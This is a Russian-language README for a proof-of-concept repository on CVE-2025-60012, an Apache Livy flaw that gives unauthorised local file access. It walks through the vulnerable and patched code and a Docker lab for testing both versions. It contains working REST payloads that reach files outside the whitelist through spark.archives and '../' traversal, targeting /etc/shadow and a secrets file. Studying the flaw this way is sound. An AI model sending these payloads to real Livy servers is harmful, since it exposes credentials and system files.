
POC для уязвимости неавторизованного доступа к файлам Apache Livy
Только для образовательных целей и исследований в области безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения. → Полное предупреждение
| Поле | Детали |
|---|---|
| CVE ID | CVE-2025-60012 |
| Серьёзность | Средний (CVSS 6.3) |
| Затронутые версии | Apache Livy 0.7.0-incubating, 0.8.0-incubating — при подключении к Apache Spark 3.1 или новее |
| Исправлено в | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Некорректная проверка входных данных |
| Обнародована | 2026-03-13 |
| Сообщил | Furue Hideyuki |
Аутентифицированный пользователь с доступом к REST или JDBC интерфейсу Livy может отправить Spark-сессию или пакетное задание с подделанными значениями конфигурации. Две уязвимости в совокупности позволяют злоумышленнику ссылаться на файлы локальной файловой системы за пределами разрешённых путей:
Отсутствие проверки для spark.archives — Spark 3.1 ввёл spark.archives как унифицированный способ распространения архивных файлов по всем менеджерам кластера. Жёстко заданный список ключей конфигурации Livy 0.8.0, которые проходят проверку пути (HARDCODED_SPARK_FILE_LISTS), не включает spark.archives. Поэтому путь, переданный через этот ключ, никогда не проверяется по белому списку локальной файловой системы (livy.file.local-dir-whitelist), что позволяет злоумышленнику ссылаться на любой локальный файл.
Обход проверки белого списка через обход каталогов — Даже для ключей конфигурации, которые ПРОВЕРЯЮТСЯ, сравнение с белым списком в Livy 0.8.0 использует простой вызов startsWith Java String на необработанном пути. Злоумышленник может обойти это с помощью обхода каталогов: /whitelisted/dir/../../etc/passwd проходит строковую проверку, но разрешается за пределами разрешённого каталога.
LivyConf.scalaУязвимая (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Исправленная (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaУязвимая (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Исправленная (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Обе версии были клонированы напрямую из официального репозитория Apache Livy на GitHub в эту рабочую область с помощью следующих точных команд:
Репозиторий: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Точные различия кода
Различия были получены клонированием обоих тегов локально (см. выше) и выполнением:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives добавлено в жестко заданный список файлов```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Impact of missing entry in v0.8.0:**
Когда пользователь отправляет сессию с `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 никогда не вызывает `resolveURIs()` для этого значения и не проверяет его по
`livy.file.local-dir-whitelist`. Путь передается Spark без проверки.
---
### Fix 2 — `Session.scala`: Нормализация пути перед проверкой белого списка```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Влияние в v0.8.0:
Проверка сырой строки startsWith может быть обойдена с помощью полезной нагрузки обхода пути.
Пример: если `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (обойдено)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (заблокировано)
## Сводка векторов атак```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Все шаги в этом PoC были выполнены и проверены в следующей системе:
| Компонент | Подробности |
|---|---|
| Host OS | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Architecture | x86_64 |
| Общая память | 15.49 GiB |
| Docker Engine | 28.2.2 |
| Host JDK | OpenJDK 17.0.18 (используется только хостом — контейнеры используют eclipse-temurin:11-jdk-focal) |
| Базовый образ контейнера | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Версия Spark (оба образа) | 3.1.3 with Hadoop 3.2 |
| Версия Livy — уязвимый образ | 0.8.0-incubating (Scala 2.12 build) |
| Версия Livy — исправленный образ | 0.9.0-incubating (Scala 2.12 build) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## Доказательство концепции
### Обзор```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Полная сквозная последовательность — следуйте шагам с 1 по 4 по порядку:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Примечание:** Livy становится готовым примерно через 15–20 секунд после `docker run`.
> Все шаги ниже включают явный `sleep 20` перед любым вызовом API.
---
### Шаг 1 — Сборка и запуск уязвимого окружения (Livy 0.8.0 + Spark 3.1.3)
**Файлы:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — привязка к `0.0.0.0:8998`, локальный режим, белый список = `/opt/safe-data`
**1a. Сборка образа:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Проверка — изображение было создано:```bash docker images cve-2025-60012-vulnerable
Ожидаемый результат:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Запустите контейнер:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Проверка — контейнер запущен:**```bash
docker ps --filter name=livy-vulnerable
Ожидаемый вывод:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Дождитесь запуска Livy, затем проверьте REST API:**
> Livy требуется ~15–20 секунд на инициализацию перед обработкой запросов.```bash
sleep 20
curl -s http://localhost:8998/sessions
Ожидаемый результат:```json {"from":0,"total":0,"sessions":[]}
**1d. Проверьте структуру каталогов внутри контейнера:**
Убедитесь, что файл из белого списка существует:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Ожидаемый вывод:``` This file lives inside the whitelisted directory.
Подтвердите, что целевой конфиденциальный файл существует вне белого списка:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Ожидаемый вывод:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### Шаг 2 — Запуск проверки уязвимой среды
> Уязвимый контейнер из Шага 1 все еще должен быть запущен на порту 8998.
**Что проверяет `test/validate.sh`:**
| # | Атака | Ключ полезной нагрузки | Ожидаемый результат на Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` отсутствует в `HARDCODED_SPARK_FILE_LISTS` в `LivyConf.scala` | `spark.archives` | HTTP 201 — путь принят без проверки |
| 2 | Обход пути через `String.startsWith()` в `Session.scala` | `spark.jars` с обходом `../` | HTTP 201 — обход обходит белый список |
**2а. Запустите скрипт:**```bash
bash test/validate.sh
Ожидаемый вывод:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Остановите и удалите уязвимый контейнер:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Проверьте — контейнер полностью удален:```bash docker ps -a --filter name=livy-vulnerable
Ожидаемый вывод (пусто — строк нет):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Файлы:
docker/fixed/Dockerfile — идентичный базовый образ и Spark 3.1.3, изменяется только версия Livy на 0.9.0docker/fixed/livy.conf — идентичен docker/vulnerable/livy.conf (тот же белый список, порт, режим)Сохранение Spark, базового образа и всех настроек идентичными Шагу 1 выделяет Livy как единственную переменную.
3a. Сборка образа:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Проверка — образ создан:**```bash
docker images cve-2025-60012-fixed
Ожидаемый вывод:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
**3b. Запустите контейнер:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Проверка — контейнер работает:```bash docker ps --filter name=livy-fixed
Ожидаемый вывод:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Подождите, пока Livy запустится, затем проверьте REST API:```bash sleep 20 curl -s http://localhost:8998/sessions
Ожидаемый вывод:```json
{"from":0,"total":0,"sessions":[]}
Исправленный контейнер из Шага 3 должен быть запущен на порту 8998. Скрипт идентичен — изменений нет.
Что изменилось между Шагом 2 и Шагом 4:
spark.archives через HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() перед проверкой белого списка4a. Запустите скрипт:```bash bash test/validate.sh
> **Примечание:** `validate.sh` работает следующим образом:
> 1. Он опрашивает `GET /sessions` до тех пор, пока Livy не ответит (до 60 секунд), подтверждая готовность сервера.
> 2. Для каждой атаки он отправляет запрос `POST /sessions` через `curl` с поддельным payload'ом `conf`, нацеленным на файл вне белого списка (`/opt/sensitive/secret.txt`).
> 3. Он считывает код ответа HTTP: **201** означает, что Livy принял путь без проверки (уязвим); **400** означает, что Livy отклонил его на этапе проверки белого списка (исправлено).
> 4. Если сессия была создана (HTTP 201), скрипт немедленно удаляет её через `DELETE /sessions/{id}`, чтобы не засорять сервер.
> 5. После обоих тестов он выводит сводку и завершается с кодом **1** (уязвим) или **0** (исправлен), что делает его пригодным для использования в автоматизированных конвейерах.
**Ожидаемый вывод:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
Что подтверждают сообщения об ошибках:
| Атака | HTTP | Сообщение об ошибке | Исправленная первопричина |
|---|---|---|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives добавлен в HARDCODED_SPARK_FILE_LISTS в LivyConf.scala; путь теперь проходит проверку белого списка в resolveURI() |
| 2 — path traversal | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Добавлен Paths.get(...).normalize() в Session.scala; разрешает ../ перед сравнением с белым списком |
4b. Остановите и удалите исправленный контейнер:```bash docker stop livy-fixed && docker rm livy-fixed
**Проверка — контейнер полностью удален:**```bash
docker ps -a --filter name=livy-fixed
Ожидаемый результат (пусто — нет строк):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Вывод
CVE-2025-60012 показывает, что уязвимость не всегда требует обхода механизма защиты — иногда достаточно найти путь, который изначально не был проведён через этот механизм.
Белый список (`livy.file.local-dir-whitelist`) существовал как в Livy 0.8.0, так и в 0.9.0 и был корректно настроен в обеих средах. Ошибки находились выше по цепочке:
1. **Отсутствие регистрации (Атака 1):** `spark.archives` был введён в Spark 3.1 как агностическая по отношению к менеджеру кластера замена для `spark.yarn.dist.archives`. Внутренний список ключей конфигурации Livy, пути которых передаются в проверку белого списка (`HARDCODED_SPARK_FILE_LISTS` в `LivyConf.scala`), никогда не был обновлён для его включения. Любой путь, переданный через `spark.archives`, поэтому передавался в Spark полностью без проверки. Белый список никогда не использовался.
2. **Логическая ошибка в самой проверке (Атака 2):** Для зарегистрированных ключей сравнение с белым списком в `Session.scala` использовало Java-метод `String.startsWith()` для необработанной строки пути. Это недостаточно для сравнения путей файловой системы, так как не учитывает обход с помощью `..`. Путь, например, `/opt/safe-data/../sensitive/secret.txt` удовлетворяет строковой проверке против записи белого списка `/opt/safe-data`, однако разрешается в местоположение, полностью находящееся за его пределами.
В совокупности эти две слабости означают, что аутентифицированный пользователь — без каких-либо особых привилегий, кроме доступа к REST или JDBC интерфейсу Livy — мог ссылаться на произвольные локальные файлы на хосте сервера Livy. В общем аналитическом кластере это приводит к потенциальному раскрытию учётных данных, ключей, конфигурационных файлов или любых данных, доступных для чтения процессом пользователя Livy.
Исправление в версии 0.9.0 минимально и целенаправленно: одна строка добавлена в `HARDCODED_SPARK_FILE_LISTS` (закрывает пробел регистрации) и один вызов `Paths.get().normalize()` добавлен перед сравнением с белым списком (закрывает обход через `..`). Ни одно из изменений не затронуло сам белый список, что подтверждает: белый список никогда не был проблемой — проблема заключалась в том, что код, передающий в него данные, был неполным и неточным.
**Ключевой вывод для защитников:** При развёртывании Livy с Spark 3.1 или новее обновление до Livy 0.9.0-incubating является единственным полным исправлением. Ужесточение `livy.file.local-dir-whitelist` само по себе недостаточно против Атаки 1, потому что пути, отправленные через `spark.archives`, полностью обходят эту проверку в уязвимых версиях.
## Ссылки
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Раскрытие OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Список рассылки Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Проект Apache Livy: https://livy.apache.org/
## Благодарности
- **Furue Hideyuki** — первоначальный репортёр CVE-2025-60012 в группу безопасности Apache.
- **Сопровождающие Apache Livy** — за своевременную триаж и целенаправленное исправление в v0.9.0-incubating.
- **Группа безопасности Apache** — за координацию процесса ответственного раскрытия.
- **Сообщество OSS-Sec** — за публичную ветку раскрытия, которая сделала возможным независимый анализ.
## Участие
Приветствуются вклады, улучшающие данный PoC или документацию! Пожалуйста, убедитесь, что любые вклады:
- Следуют практике ответственного раскрытия
- Содержат соответствующие отказы от ответственности
- Не включают вредоносный код, выходящий за рамки учебной демонстрации
- Сохраняют образовательную ценность
Чтобы внести вклад, откройте pull request или создайте issue с описанием предлагаемого изменения.
## Лицензия
Этот проект лицензирован по [лицензии MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).
## Отказ от ответственности
Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Доказательство концепции
демонстрирует механику уязвимости для облегчения понимания и защитных мер. Не используйте
против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.
## Теги
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`